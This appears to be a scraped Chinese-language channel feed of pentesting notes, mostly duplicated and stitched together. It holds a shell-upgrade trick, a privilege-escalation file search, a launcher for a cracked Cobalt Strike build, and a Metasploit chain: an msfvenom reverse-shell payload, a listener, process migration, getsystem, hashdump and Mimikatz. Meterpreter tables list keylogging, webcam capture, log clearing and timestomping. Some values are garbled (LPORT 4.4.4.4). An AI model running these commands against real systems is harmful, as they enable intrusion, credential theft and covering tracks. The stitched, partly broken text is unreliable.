BroadcastChannel
https://channel.gandli.eu.org/
https://channel.gandli.eu.org/
python -c 'import pty; pty.spawn(\"/bin/bash\")'
ctrl + z
stty raw -echo
fg
这段命令序列涉及到在 Python 中执行一个反向 shell(通过 pty.spawn() 启动一个新的 shell)以及如何使其成为一个真正的交互式 shell。每个部分的作用如下:
1. Python 命令 (python -c 'import pty; pty.spawn("/bin/bash")')
python -c 'import pty; pty.spawn("/bin/bash")'
python -c:表示在命令行中直接执行 Python 代码。
import pty:导入 pty 模块,pty 模块用于创建伪终端(pseudo-terminal),允许 Python 创建和控制子进程的伪终端设备。
pty.spawn("/bin/bash"):使用 pty.spawn() 创建一个新的伪终端,并启动 /bin/bash,即启动一个新的 Bash shell。这个 shell 会成为当前 Python 程序的子进程,并允许用户与它进行交互。
这条命令的目的是启动一个交互式 Bash shell,通常用于在限制性的环境中尝试打开一个终端。
2. Ctrl + Z(暂停进程)
按下 Ctrl + Z 会发送 SIGTSTP 信号,暂停当前进程(在这个例子中是 Python 脚本启动的 shell)。此时,你会看到类似于以下的输出:
[1]+ 1234 suspended python -c 'import pty; pty.spawn("/bin/bash")'
这样,进程会被暂停,但它并没有终止,仍然存在于后台。
3. stty raw -echo(设置终端模式)
stty raw -echo
stty 是用来设置终端行属性的命令。
raw:将终端设置为原始模式,这意味着不进行任何行编辑或处理(输入的每个字符都被立即传递给程序)。
-echo:禁止终端回显,即不显示用户输入的字符。
这些设置有助于在后台启动的 shell 与前台 shell 进行交互,因为它们调整了终端的行为,使得它可以更流畅地接受输入和输出,而不会受到终端的常规输入处理干扰。
4. fg(恢复前台进程)
fg
fg 命令将一个被暂停的后台进程恢复到前台运行。
在这个例子中,fg 会恢复被 Ctrl + Z 暂停的 Python 进程,并使其回到前台,允许你继续与 Bash shell 交互。
总结
整体上,这段命令的目的是:
1. 通过 Python 启动一个交互式的 Bash shell。
2. 使用 Ctrl + Z 将 shell 进程暂停并移到后台。
3. 使用 stty raw -echo 设置终端为适合交互的原始模式。
4. 使用 fg 恢复后台的进程并将其带回前台,从而实现与 shell 的交互。
通常这种方法用于绕过一些限制或在受限环境中获取交互式 shell,尤其是在渗透测试和 CTF(Capture The Flag)挑战中非常常见。
ctrl + z
stty raw -echo
fg
这段命令序列涉及到在 Python 中执行一个反向 shell(通过 pty.spawn() 启动一个新的 shell)以及如何使其成为一个真正的交互式 shell。每个部分的作用如下:
1. Python 命令 (python -c 'import pty; pty.spawn("/bin/bash")')
python -c 'import pty; pty.spawn("/bin/bash")'
python -c:表示在命令行中直接执行 Python 代码。
import pty:导入 pty 模块,pty 模块用于创建伪终端(pseudo-terminal),允许 Python 创建和控制子进程的伪终端设备。
pty.spawn("/bin/bash"):使用 pty.spawn() 创建一个新的伪终端,并启动 /bin/bash,即启动一个新的 Bash shell。这个 shell 会成为当前 Python 程序的子进程,并允许用户与它进行交互。
这条命令的目的是启动一个交互式 Bash shell,通常用于在限制性的环境中尝试打开一个终端。
2. Ctrl + Z(暂停进程)
按下 Ctrl + Z 会发送 SIGTSTP 信号,暂停当前进程(在这个例子中是 Python 脚本启动的 shell)。此时,你会看到类似于以下的输出:
[1]+ 1234 suspended python -c 'import pty; pty.spawn("/bin/bash")'
这样,进程会被暂停,但它并没有终止,仍然存在于后台。
3. stty raw -echo(设置终端模式)
stty raw -echo
stty 是用来设置终端行属性的命令。
raw:将终端设置为原始模式,这意味着不进行任何行编辑或处理(输入的每个字符都被立即传递给程序)。
-echo:禁止终端回显,即不显示用户输入的字符。
这些设置有助于在后台启动的 shell 与前台 shell 进行交互,因为它们调整了终端的行为,使得它可以更流畅地接受输入和输出,而不会受到终端的常规输入处理干扰。
4. fg(恢复前台进程)
fg
fg 命令将一个被暂停的后台进程恢复到前台运行。
在这个例子中,fg 会恢复被 Ctrl + Z 暂停的 Python 进程,并使其回到前台,允许你继续与 Bash shell 交互。
总结
整体上,这段命令的目的是:
1. 通过 Python 启动一个交互式的 Bash shell。
2. 使用 Ctrl + Z 将 shell 进程暂停并移到后台。
3. 使用 stty raw -echo 设置终端为适合交互的原始模式。
4. 使用 fg 恢复后台的进程并将其带回前台,从而实现与 shell 的交互。
通常这种方法用于绕过一些限制或在受限环境中获取交互式 shell,尤其是在渗透测试和 CTF(Capture The Flag)挑战中非常常见。
命令 tcpdump -nni eth0 icmp 用于在网络接口 eth0 上实时捕获和显示 ICMP(Internet Control Message Protocol)数据包。以下是该命令各参数的详细解释:
tcpdump -nni eth0 icmp
逐个参数解析
tcpdump:网络数据包分析工具,用于捕获并显示网络流量中的数据包。
-n:禁用主机名解析,以 IP 地址显示源和目标地址。这会加快捕获速度,因为它省去了将 IP 地址转换为域名的过程。
-n(重复一次):在某些系统上,tcpdump -nni 仅需单个 -n 即可表示禁用主机名和端口号的解析,但在使用 -nni 时确保更兼容。
-i eth0:指定监听的网络接口,这里是 eth0(网卡名称)。eth0 通常是默认的有线网络接口,具体名称因系统不同可能会变化(例如,有时为 ens33、enp0s3 等)。
icmp:过滤捕获的数据包,仅显示 ICMP 数据包。ICMP 是用于网络诊断的协议,ping 命令就是基于 ICMP 的,因此此命令会捕获 ping 请求和响应的包。
实际效果
该命令会在控制台输出 eth0 接口上所有 ICMP 数据包的详细信息,通常用于监控 ping 或诊断网络连接问题。
示例输出
运行此命令后可能会看到类似如下的输出(假设有 ping 流量):
12:34:56.789123 IP 192.168.1.2 > 192.168.1.1: ICMP echo request, id 1234, seq 1, length 64
12:34:56.789456 IP 192.168.1.1 > 192.168.1.2: ICMP echo reply, id 1234, seq 1, length 64
在上面的输出中:
ICMP echo request 表示 ping 请求。
ICMP echo reply 表示 ping 响应。
tcpdump -nni eth0 icmp
逐个参数解析
tcpdump:网络数据包分析工具,用于捕获并显示网络流量中的数据包。
-n:禁用主机名解析,以 IP 地址显示源和目标地址。这会加快捕获速度,因为它省去了将 IP 地址转换为域名的过程。
-n(重复一次):在某些系统上,tcpdump -nni 仅需单个 -n 即可表示禁用主机名和端口号的解析,但在使用 -nni 时确保更兼容。
-i eth0:指定监听的网络接口,这里是 eth0(网卡名称)。eth0 通常是默认的有线网络接口,具体名称因系统不同可能会变化(例如,有时为 ens33、enp0s3 等)。
icmp:过滤捕获的数据包,仅显示 ICMP 数据包。ICMP 是用于网络诊断的协议,ping 命令就是基于 ICMP 的,因此此命令会捕获 ping 请求和响应的包。
实际效果
该命令会在控制台输出 eth0 接口上所有 ICMP 数据包的详细信息,通常用于监控 ping 或诊断网络连接问题。
示例输出
运行此命令后可能会看到类似如下的输出(假设有 ping 流量):
12:34:56.789123 IP 192.168.1.2 > 192.168.1.1: ICMP echo request, id 1234, seq 1, length 64
12:34:56.789456 IP 192.168.1.1 > 192.168.1.2: ICMP echo reply, id 1234, seq 1, length 64
在上面的输出中:
ICMP echo request 表示 ping 请求。
ICMP echo reply 表示 ping 响应。
find / -writable -type f 2>/dev/null | grep -v "/proc/"
这条命令用于查找系统中所有具有写权限的普通文件,过滤掉 /proc 目录下的文件,并忽略没有权限访问的目录或文件的错误信息。我们可以逐步分解来理解每个部分:
find / -writable -type f 2>/dev/null | grep -v "/proc/"
逐步解释
1. find /
find 是一个用于在指定目录下查找文件和目录的命令。
/ 表示从根目录开始查找,这意味着搜索整个文件系统。
2. -writable
-writable 是 find 的一个条件选项,用于筛选当前用户对其具有写权限的文件或目录。
当指定 -writable 时,find 仅返回当前用户有权修改的文件。
这对于安全检查有帮助,可以了解哪些文件可能被当前用户更改。
3. -type f
-type f 限制查找的结果类型为“普通文件”。
f 代表文件(file),这意味着只查找普通文件,忽略目录(d)、符号链接(l)、设备文件等其他类型的文件。
4. 2>/dev/null
2> 是一个重定向操作,用于将错误输出重定向。
2 表示标准错误输出(stderr)。
/dev/null 是一个特殊的文件,表示“空设备”,任何重定向到它的数据都会被丢弃。
因为在搜索整个文件系统时,某些目录用户可能没有权限访问,这会导致 find 产生“权限拒绝”的错误信息。将错误输出重定向到 /dev/null 可以避免这些错误信息在屏幕上显示,使输出更干净。
5. |(管道符号)
管道符号 | 用于将 find 命令的输出传递给另一个命令进行进一步处理。
在此处,find 的结果被传递给 grep 命令,便于进行过滤。
6. grep -v "/proc/"
grep 是一个用于搜索文本的工具,可以根据模式匹配和过滤内容。
-v 选项表示“反向匹配”,即排除包含指定模式的行。
"/proc/" 是匹配的模式。此模式排除所有路径中包含 /proc/ 的结果。
/proc 是 Linux 系统中的一个特殊目录,它是一个虚拟文件系统,用于提供系统内核和进程的实时信息。它不包含实际的文件内容,因此通常不需要对 /proc 目录进行可写性检查。
这条命令用于查找系统中所有具有写权限的普通文件,过滤掉 /proc 目录下的文件,并忽略没有权限访问的目录或文件的错误信息。我们可以逐步分解来理解每个部分:
find / -writable -type f 2>/dev/null | grep -v "/proc/"
逐步解释
1. find /
find 是一个用于在指定目录下查找文件和目录的命令。
/ 表示从根目录开始查找,这意味着搜索整个文件系统。
2. -writable
-writable 是 find 的一个条件选项,用于筛选当前用户对其具有写权限的文件或目录。
当指定 -writable 时,find 仅返回当前用户有权修改的文件。
这对于安全检查有帮助,可以了解哪些文件可能被当前用户更改。
3. -type f
-type f 限制查找的结果类型为“普通文件”。
f 代表文件(file),这意味着只查找普通文件,忽略目录(d)、符号链接(l)、设备文件等其他类型的文件。
4. 2>/dev/null
2> 是一个重定向操作,用于将错误输出重定向。
2 表示标准错误输出(stderr)。
/dev/null 是一个特殊的文件,表示“空设备”,任何重定向到它的数据都会被丢弃。
因为在搜索整个文件系统时,某些目录用户可能没有权限访问,这会导致 find 产生“权限拒绝”的错误信息。将错误输出重定向到 /dev/null 可以避免这些错误信息在屏幕上显示,使输出更干净。
5. |(管道符号)
管道符号 | 用于将 find 命令的输出传递给另一个命令进行进一步处理。
在此处,find 的结果被传递给 grep 命令,便于进行过滤。
6. grep -v "/proc/"
grep 是一个用于搜索文本的工具,可以根据模式匹配和过滤内容。
-v 选项表示“反向匹配”,即排除包含指定模式的行。
"/proc/" 是匹配的模式。此模式排除所有路径中包含 /proc/ 的结果。
/proc 是 Linux 系统中的一个特殊目录,它是一个虚拟文件系统,用于提供系统内核和进程的实时信息。它不包含实际的文件内容,因此通常不需要对 /proc 目录进行可写性检查。
@echo off & setlocal enabledelayedexpansion
echo [+] Getting Host IP Address...
:: 打印获取宿主机的 IP 地址
for /f "tokens=1,2 delims=:" %%A in ('ipconfig ^| findstr "IPv4"') do (
set "ip=%%B"
set "ip=!ip:~1!"
echo IPv4 Address: !ip!
)
echo [+] Starting Cobalt Strike server...
:: 获取 WSL 的 IP 地址
for /f "delims=" %%i in ('wsl -u root -- bash -c "hostname -I"') do (
set wslIP=%%i
goto :done
)
:done
:: 设置默认密码
set defaultPassword=password
:: 打印获取的WSL IP 和密码
echo WSL IP Address: !wslIP!
echo Default Password: !defaultPassword!
:: 启动 Cobalt Strike 服务器并在后台运行
start /B wsl -u root -- bash -c "cd ./Server && ./teamserver !wslIP! !defaultPassword!"
echo [+] Cobalt Strike server started.
:: 等待一段时间(例如 10 秒)
timeout /t 10 >nul
echo [+] Starting Cobalt Strike client...
:: 启动 Cobalt Strike 客户端并在后台运行
start /B java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:./Client/uHook.jar -Xms512M -Xmx1024M -jar ./Client/cobaltstrike-client.jar
:: 等待用户输入以保持窗口打开
pause
echo [+] Getting Host IP Address...
:: 打印获取宿主机的 IP 地址
for /f "tokens=1,2 delims=:" %%A in ('ipconfig ^| findstr "IPv4"') do (
set "ip=%%B"
set "ip=!ip:~1!"
echo IPv4 Address: !ip!
)
echo [+] Starting Cobalt Strike server...
:: 获取 WSL 的 IP 地址
for /f "delims=" %%i in ('wsl -u root -- bash -c "hostname -I"') do (
set wslIP=%%i
goto :done
)
:done
:: 设置默认密码
set defaultPassword=password
:: 打印获取的WSL IP 和密码
echo WSL IP Address: !wslIP!
echo Default Password: !defaultPassword!
:: 启动 Cobalt Strike 服务器并在后台运行
start /B wsl -u root -- bash -c "cd ./Server && ./teamserver !wslIP! !defaultPassword!"
echo [+] Cobalt Strike server started.
:: 等待一段时间(例如 10 秒)
timeout /t 10 >nul
echo [+] Starting Cobalt Strike client...
:: 启动 Cobalt Strike 客户端并在后台运行
start /B java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:./Client/uHook.jar -Xms512M -Xmx1024M -jar ./Client/cobaltstrike-client.jar
:: 等待用户输入以保持窗口打开
pause
kali 中启动CobaltSrike
1. 下载和粘贴:
CobaltSrike_4.9.1_Cracked_www.ddosi.org.rar
2. 解压和重命名
sudo apt install unrar -y
unrar x CobaltSrike_4.9.1_Cracked_www.ddosi.org.rar
mv CobaltStrike_4.9.1_Cracked_www.ddosi.org CobaltStrike
3. 赋予权限,root启动服务的
chmod +x /home/kali/cobaltSrike/Server/teamserver /home/kali/cobaltSrike/Server/TeamServerImage
sudo /home/kali/cobaltSrike/Server/teamserver 192.168.153.128 password
3. 赋予权限,启动客户端
~/cobaltSrike/client/cobaltstrike-client.sh
#CobaltSrike
1. 下载和粘贴:
CobaltSrike_4.9.1_Cracked_www.ddosi.org.rar
2. 解压和重命名
sudo apt install unrar -y
unrar x CobaltSrike_4.9.1_Cracked_www.ddosi.org.rar
mv CobaltStrike_4.9.1_Cracked_www.ddosi.org CobaltStrike
3. 赋予权限,root启动服务的
chmod +x /home/kali/cobaltSrike/Server/teamserver /home/kali/cobaltSrike/Server/TeamServerImage
sudo /home/kali/cobaltSrike/Server/teamserver 192.168.153.128 password
3. 赋予权限,启动客户端
~/cobaltSrike/client/cobaltstrike-client.sh
#CobaltSrike
VMware Workstation 17.6.1 Pro for Windows & Linux - 领先的免费桌面虚拟化软件
https://sysin.org/blog/vmware-workstation-17/
https://sysin.org/blog/vmware-workstation-17/
1.msfvenom生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=4444 -f exe -o payload.exe
2. 蚁剑上传,Metasploit开启监听,命令执行payload.exe,获得 meterpreter
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4.4.4.4
exploit
3. meterpreter会话,注入64位进程
ps
migrate 1968 (Everything 进程)
4. 提权,获取用户密码的哈希值
getsystem
hashdump
5. 使用 Mimikatz
load kiwi
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=4444 -f exe -o payload.exe
2. 蚁剑上传,Metasploit开启监听,命令执行payload.exe,获得 meterpreter
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4.4.4.4
exploit
3. meterpreter会话,注入64位进程
ps
migrate 1968 (Everything 进程)
4. 提权,获取用户密码的哈希值
getsystem
hashdump
5. 使用 Mimikatz
load kiwi
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| timestomp | 操纵文件的 MACE 属性 |
#Meterpreter #Metasploit
|--------------------------------|------------------------------------------|
| timestomp | 操纵文件的 MACE 属性 |
#Meterpreter #Metasploit
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| clearev | 清除事件日志 |
| drop_token | 放弃任何活动的模拟令牌 |
| execute | 执行命令 |
| getenv | 获取一个或多个环境变量的值 |
| getpid | 获取当前进程标识符 |
| getprivs | 尝试启用当前进程可用的所有特权 |
| getsid | 获取运行服务器的用户 SID |
| getuid | 获取运行服务器的用户 |
| kill | 终止进程 |
| localtime | 显示目标系统的本地日期和时间 |
| pgrep | 按名称筛选进程 |
| pkill | 按名称终止进程 |
| ps | 列出正在运行的进程 |
| reboot | 重启远程计算机 |
| reg | 修改和与远程注册表交互 |
| rev2self | 在远程机器上调用 RevertToSelf() |
| shell | 进入系统命令 shell |
| shutdown | 关闭远程计算机 |
| steal_token | 尝试从目标进程中窃取模拟令牌 |
| suspend | 暂停或恢复一组进程 |
| sysinfo | 获取远程系统的信息,例如操作系统 |
#### 用户界面命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| enumdesktops | 列出所有可访问的桌面和窗口站 |
| getdesktop | 获取当前 Meterpreter 桌面 |
| idletime | 返回远程用户闲置的秒数 |
| keyboard_send | 发送按键 |
| keyevent | 发送按键事件 |
| keyscan_dump | 转储按键缓冲区 |
| keyscan_start | 开始捕获按键 |
| keyscan_stop | 停止捕获按键 |
| mouse | 发送鼠标事件 |
| screenshare | 实时查看远程用户桌面 |
| screenshot | 抓取交互式桌面的屏幕截图 |
| setdesktop | 更改 Meterpreter 当前桌面 |
| uictl | 控制一些用户界面组件 |
#### 网络摄像头命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| record_mic | 从默认麦克风录制音频 X 秒 |
| webcam_chat | 开始视频聊天 |
| webcam_list | 列出摄像头 |
| webcam_snap | 从指定摄像头拍摄快照 |
| webcam_stream | 播放来自指定摄像头的视频流 |
#### 音频输出命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| play | 在目标系统上播放波形音频文件 (.wav) |
#### 权限提升命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| getsystem | 尝试将你的权限提升到本地系统权限 |
#### 密码数据库命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| hashdump | 转储 SAM 数据库的内容 |
#### Timestomp 命令
|--------------------------------|------------------------------------------|
| clearev | 清除事件日志 |
| drop_token | 放弃任何活动的模拟令牌 |
| execute | 执行命令 |
| getenv | 获取一个或多个环境变量的值 |
| getpid | 获取当前进程标识符 |
| getprivs | 尝试启用当前进程可用的所有特权 |
| getsid | 获取运行服务器的用户 SID |
| getuid | 获取运行服务器的用户 |
| kill | 终止进程 |
| localtime | 显示目标系统的本地日期和时间 |
| pgrep | 按名称筛选进程 |
| pkill | 按名称终止进程 |
| ps | 列出正在运行的进程 |
| reboot | 重启远程计算机 |
| reg | 修改和与远程注册表交互 |
| rev2self | 在远程机器上调用 RevertToSelf() |
| shell | 进入系统命令 shell |
| shutdown | 关闭远程计算机 |
| steal_token | 尝试从目标进程中窃取模拟令牌 |
| suspend | 暂停或恢复一组进程 |
| sysinfo | 获取远程系统的信息,例如操作系统 |
#### 用户界面命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| enumdesktops | 列出所有可访问的桌面和窗口站 |
| getdesktop | 获取当前 Meterpreter 桌面 |
| idletime | 返回远程用户闲置的秒数 |
| keyboard_send | 发送按键 |
| keyevent | 发送按键事件 |
| keyscan_dump | 转储按键缓冲区 |
| keyscan_start | 开始捕获按键 |
| keyscan_stop | 停止捕获按键 |
| mouse | 发送鼠标事件 |
| screenshare | 实时查看远程用户桌面 |
| screenshot | 抓取交互式桌面的屏幕截图 |
| setdesktop | 更改 Meterpreter 当前桌面 |
| uictl | 控制一些用户界面组件 |
#### 网络摄像头命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| record_mic | 从默认麦克风录制音频 X 秒 |
| webcam_chat | 开始视频聊天 |
| webcam_list | 列出摄像头 |
| webcam_snap | 从指定摄像头拍摄快照 |
| webcam_stream | 播放来自指定摄像头的视频流 |
#### 音频输出命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| play | 在目标系统上播放波形音频文件 (.wav) |
#### 权限提升命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| getsystem | 尝试将你的权限提升到本地系统权限 |
#### 密码数据库命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| hashdump | 转储 SAM 数据库的内容 |
#### Timestomp 命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| cat | 读取文件内容并显示 |
| cd | 更改目录 |
| checksum | 获取文件的校验和 |
| cp | 复制源到目标 |
| del | 删除指定文件 |
| dir | 列出文件(ls 的别名) |
| download | 下载文件或目录 |
| edit | 编辑文件 |
| getlwd | 打印本地工作目录(lpwd 的别名) |
| getwd | 打印工作目录 |
| lcat | 读取本地文件内容并显示 |
| lcd | 更改本地工作目录 |
| ldir | 列出本地文件(lls 的别名) |
| lls | 列出本地文件 |
| lmkdir | 在本地机器上创建新目录 |
| lpwd | 打印本地工作目录 |
| ls | 列出文件 |
| mkdir | 创建目录 |
| mv | 移动源到目标 |
| pwd | 打印工作目录 |
| rm | 删除指定文件 |
| rmdir | 删除目录 |
| search | 搜索文件 |
| show_mount | 列出所有挂载点/逻辑驱动器 |
| upload | 上传文件或目录 |
#### 网络命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| arp | 显示主机的 ARP 缓存 |
| getproxy | 显示当前代理配置 |
| ifconfig | 显示接口信息 |
| ipconfig | 显示接口信息 |
| netstat | 显示网络连接 |
| portfwd | 将本地端口转发到远程服务 |
| resolve | 解析一组主机名 |
| route | 查看和修改路由表 |
#### 系统命令
|--------------------------------|------------------------------------------|
| cat | 读取文件内容并显示 |
| cd | 更改目录 |
| checksum | 获取文件的校验和 |
| cp | 复制源到目标 |
| del | 删除指定文件 |
| dir | 列出文件(ls 的别名) |
| download | 下载文件或目录 |
| edit | 编辑文件 |
| getlwd | 打印本地工作目录(lpwd 的别名) |
| getwd | 打印工作目录 |
| lcat | 读取本地文件内容并显示 |
| lcd | 更改本地工作目录 |
| ldir | 列出本地文件(lls 的别名) |
| lls | 列出本地文件 |
| lmkdir | 在本地机器上创建新目录 |
| lpwd | 打印本地工作目录 |
| ls | 列出文件 |
| mkdir | 创建目录 |
| mv | 移动源到目标 |
| pwd | 打印工作目录 |
| rm | 删除指定文件 |
| rmdir | 删除目录 |
| search | 搜索文件 |
| show_mount | 列出所有挂载点/逻辑驱动器 |
| upload | 上传文件或目录 |
#### 网络命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| arp | 显示主机的 ARP 缓存 |
| getproxy | 显示当前代理配置 |
| ifconfig | 显示接口信息 |
| ipconfig | 显示接口信息 |
| netstat | 显示网络连接 |
| portfwd | 将本地端口转发到远程服务 |
| resolve | 解析一组主机名 |
| route | 查看和修改路由表 |
#### 系统命令
### Meterpreter 命令概览
#### 核心命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| ? | 帮助菜单 |
| background | 将当前会话转入后台 |
| bg | 背景命令的别名 |
| bgkill | 杀死一个后台 Meterpreter 脚本 |
| bglist | 列出正在运行的后台脚本 |
| bgrun | 作为后台线程执行 Meterpreter 脚本 |
| channel | 显示信息或控制活动通道 |
| close | 关闭通道 |
| detach | 分离 Meterpreter 会话 |
| disable_unicode_encoding | 禁用 Unicode 字符串编码 |
| enable_unicode_encoding | 启用 Unicode 字符串编码 |
| exit | 终止 Meterpreter 会话 |
| get_timeouts | 获取当前会话超时值 |
| guid | 获取会话 GUID |
| help | 帮助菜单 |
| info | 显示 Post 模块的信息 |
| irb | 在当前会话中打开交互式 Ruby Shell |
| load | 加载一个或多个 Meterpreter 扩展 |
| machine_id | 获取与会话相关的 MSF ID |
| migrate | 将服务器迁移到另一个进程 |
| pivot | 管理中继监听器 |
| pry | 在当前会话中打开 Pry 调试器 |
| quit | 终止 Meterpreter 会话 |
| read | 从通道读取数据 |
| resource | 运行存储在文件中的命令 |
| run | 执行 Meterpreter 脚本或 Post 模块 |
| secure | (重新)协商会话中的 TLV 包加密 |
| sessions | 快速切换到另一个会话 |
| set_timeouts | 设置当前会话的超时值 |
| sleep | 强制 Meterpreter 静默,然后重新建立会话 |
| ssl_verify | 修改 SSL 证书验证设置 |
| transport | 管理传输机制 |
| use | 已弃用的“load”别名 |
| uuid | 获取当前会话的 UUID |
| write | 向通道写入数据 |
#### 文件系统命令
#### 核心命令
| 命令 | 描述 |
|--------------------------------|------------------------------------------|
| ? | 帮助菜单 |
| background | 将当前会话转入后台 |
| bg | 背景命令的别名 |
| bgkill | 杀死一个后台 Meterpreter 脚本 |
| bglist | 列出正在运行的后台脚本 |
| bgrun | 作为后台线程执行 Meterpreter 脚本 |
| channel | 显示信息或控制活动通道 |
| close | 关闭通道 |
| detach | 分离 Meterpreter 会话 |
| disable_unicode_encoding | 禁用 Unicode 字符串编码 |
| enable_unicode_encoding | 启用 Unicode 字符串编码 |
| exit | 终止 Meterpreter 会话 |
| get_timeouts | 获取当前会话超时值 |
| guid | 获取会话 GUID |
| help | 帮助菜单 |
| info | 显示 Post 模块的信息 |
| irb | 在当前会话中打开交互式 Ruby Shell |
| load | 加载一个或多个 Meterpreter 扩展 |
| machine_id | 获取与会话相关的 MSF ID |
| migrate | 将服务器迁移到另一个进程 |
| pivot | 管理中继监听器 |
| pry | 在当前会话中打开 Pry 调试器 |
| quit | 终止 Meterpreter 会话 |
| read | 从通道读取数据 |
| resource | 运行存储在文件中的命令 |
| run | 执行 Meterpreter 脚本或 Post 模块 |
| secure | (重新)协商会话中的 TLV 包加密 |
| sessions | 快速切换到另一个会话 |
| set_timeouts | 设置当前会话的超时值 |
| sleep | 强制 Meterpreter 静默,然后重新建立会话 |
| ssl_verify | 修改 SSL 证书验证设置 |
| transport | 管理传输机制 |
| use | 已弃用的“load”别名 |
| uuid | 获取当前会话的 UUID |
| write | 向通道写入数据 |
#### 文件系统命令
Command Description
------- -----------
enumdesktops List all accessible desktops and window statio
ns
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user
has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X
seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the targe
t system
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of l
ocal system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
------- -----------
enumdesktops List all accessible desktops and window statio
ns
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user
has been idle
keyboard_send Send keystrokes
keyevent Send key events
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X
seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Stdapi: Audio Output Commands
=============================
Command Description
------- -----------
play play a waveform audio file (.wav) on the targe
t system
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of l
ocal system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory (alias for lpwd)
getwd Print working directory
lcat Read the contents of a local file to the scree
n
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to
the current process
getsid Get the SID of the user that the server is run
ning as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from
the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such
as OS
Stdapi: User interface Commands
===============================
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory (alias for lpwd)
getwd Print working directory
lcat Read the contents of a local file to the scree
n
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to
the current process
getsid Get the SID of the user that the server is run
ning as
getuid Get the user that the server is running as
kill Terminate a process
